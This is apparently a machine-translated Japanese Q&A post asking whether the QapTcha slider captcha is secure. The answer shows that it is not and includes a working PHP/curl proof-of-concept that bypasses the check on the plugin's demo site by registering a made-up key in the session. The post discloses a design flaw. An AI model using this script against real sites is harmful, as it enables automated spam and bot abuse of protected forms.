20

ここで JQuery Qaptcha のデモを参照してください - http://www.myjqueryplugins.com/QapTcha/demo

ロックを解除して人間であることを証明するには、スライダーをスライドさせる必要があります。ランダムなフィールド値を設定して消去する方法についてはすべて読んだことがありますが、それはすべて JavaScript 呼び出しを介して行われるのではないですか? もしそうなら、ボットは JavaScript メソッドを実行するだけで qaptcha が壊れるのではないでしょうか?

これがどのように安全であるかを理解するのを手伝ってください...

4

1 に答える 1

44

残念ながら、これは安全なキャプチャではないようです。

この投稿の最後に、それをバイパスできるサンプル コードがあります。ソース コード (php または javascript) をまったく見ずに、このスクリプトを作成しました。いくつかの HTTP リクエストを盗聴し、それが何をしているかを確認し、エミュレートしようとしました。私は今彼らの JS コードを見ましたが、まだ PHP を見たことがないので、ソースコードを見なくてもこれはバイパスされる可能性があります。

成功と失敗に基づいて、それがどのように機能するかについての私の簡単な推測：

  • ページにフォームをロードすると、おそらくデータなしで PHP セッションが作成されます。
  • qaptcha_key を生成してフォームに追加する JS スクリプトがロードされます。
  • このキーは JavaScript によって作成され、(まだ) サーバーには保存されません。
  • スライダーを右に動かすと、jQuery が "qaptcha_key" を Ajax 経由で PHP に送信し、キーがセッションに保存されます (キーは秘密ではありません)。
  • スライダーを動かした場合、以前は Ajax 経由で送信されていた qaptcha_key を含むフォームを送信します。
  • 一致する qaptcha_key がセッションに存在する場合 (スライダーの移動による)、フォームは有効であると見なされます。そのようなキーが存在しない場合、スライダーを動かしていない (または JS が無効になっている) と見なされ、セッションに qaptcha_key が含まれていないため、フォームは無効です。

より安全にすることはできますか？私の意見では簡単ではありません。セキュリティを確保するには、シークレットをサーバーに保存する必要があり、スクリプトやサーバーへの HTTP リクエストを介して簡単に取得することはできません。つまり、自分自身を認証するために何らかのパブリック値に基づいて Ajax リクエストを作成しても、以下の例のように Ajax または HTTP リクエストを使用してスプーフィングすることができます。基本的に、キャプチャ ソリューションはサーバーに保存され、人間 (できればコンピューターではない) によって解釈され、サーバーに送り返される必要があります。

これをバイパスするために実行できるコードを次に示します。基本的に、これを実行すると、次のように表示されます。

Form can be submited
First Name : A Test
Last Name : Of Qaptcha

結果の出力で。コードからわかるように、同じキーを何度も使用しているだけです。クライアントがサーバーにキーを通知するため、キーが何であるかは問題ではありません。フォームを送信すると、Qaptcha は、フォームとともに送信された値が PHP セッションに保存されているものと一致するかどうかを確認するだけです。したがって、キーの値は関係ありません。フォームを送信する前に、それが何であるかをサーバーに伝える必要があります。

スパマーが広く使用されている Qaptcha フォームのバイパスを実装し、スパイダーに統合するのは時間の問題だと思います。

概念実証:

<?php

$COOKIE_FILE = '/tmp/cookies.txt';  // The cookie file to use for storing the PHP session ID cookie
$FIRST_NAME  = 'A Test';            // first name to send
$LAST_NAME   = 'Of Qaptcha';        // last name to send

if (file_exists($COOKIE_FILE)) unlink($COOKIE_FILE); // clear cookies on start - just prevents re-using the same PHPSESSID over and over

$fake_qaptcha_key = 'thisIsAFakeKey12345';  // arbitrary qaptcha_key - normally generated by client JavaScript

// fetch the form - this creates a PHP session and gives us a cookie (yum)
$first = fetch_url('http://demos.myjqueryplugins.com/qaptcha/');

// This step is important - this stores a "qaptcha_key" in the PHP session that matches our session cookie
// We can make the key up in this step, it doesn't matter what it is or where it came from
$params = array('action' => 'qaptcha', 'qaptcha_key' => $fake_qaptcha_key);
$second = fetch_url('http://demos.myjqueryplugins.com/qaptcha/php/Qaptcha.jquery.php', 'POST', $params);

// Now submit the form along with the same qaptcha_key we told the server about in the last step
// As long as a form field is submitted that has the same name as the qaptcha_key we just told the server about, the captcha is bypassed
$params = array('firstname' => $FIRST_NAME, 'lastname' => $LAST_NAME, $fake_qaptcha_key => '', 'submit' => 'Submit Form');
$third  = fetch_url('http://demos.myjqueryplugins.com/qaptcha/', 'POST', $params);

// echo the contents so you can see it said form was accepted.
echo $third;


// basic function that uses curl to fetch a URL with get/post
function fetch_url($url, $method = 'GET', $params = array())
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    }

    $return = curl_exec($ch);

    return $return;
}

質問に明確に答えていただければ幸いです。

于 2012-05-15T22:31:25.253 に答える